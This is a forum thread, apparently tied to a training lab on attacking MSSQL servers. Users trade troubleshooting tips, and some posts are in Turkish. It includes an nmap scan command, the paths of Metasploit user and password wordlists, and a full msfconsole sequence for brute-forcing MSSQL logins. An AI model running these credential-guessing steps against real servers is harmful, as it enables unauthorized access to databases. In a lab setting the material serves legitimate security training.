Hacking MSSQL Server - Impersonate

How can i find MSSQL IP Adress?

Only 2 IP Adress is open. 178 is mine. 215 is target but doesn’t work for answer.

Target IP is 10.0.59.178.

Try: sudo nmap -sS -sV -Pn -n -p 1433 10.0.59.178

Maybe you can check. Because doesn’t work answer.

1433 is open but answer is not correct.

1 Like

We will check: Thanks

1 Like

bende bulamadım bişey bulan var mı ?

m1
m3

1 Like

Has anyone been able to find the username:password so far?

deniyorum ama bulamadım

Makineyi kaç kere çalıştırdığımı bilmiyorum. Hiçbir wordlist sonuç vermedi. Anladığım kadarıyla impersonate methoduyla istismar edilecek fakat makineye girmeden anlamı yok

kesinlikle wordlistlerin hepsini bende denedim ama başarılı olamadım

I will give information about it

1 Like
  • Userlist: /usr/share/wordlists/metasploit/unix_users.txt
  • Passlist: /usr/share/wordlists/metasploit/unix_passwords.txt
2 Likes

Thanks, it worked like a charm.

1 Like

Thank you very much, I’m processing it

1 Like

And lab description updated.

1 Like

I tried again but It doesn’t work Userlist and Passlist. Can you check again?

I have checked that the userlist and passlist are working correctly, can you try to resolve the room again?

2 Likes

msfconsole
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.191.122
set RPORT 1433
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set THREADS 10
set VERBOSE true
run | It doesn’t work. Can you help me?

Your parameters are correct, you just need to make this parameter “STOP_ON_SUCCESS” true “set STOP_ON_SUCCESS true” in this way, when you find the answer, it will stop and you will be able to see the answer. You can ask again if you get stuck. Have a good work.

1 Like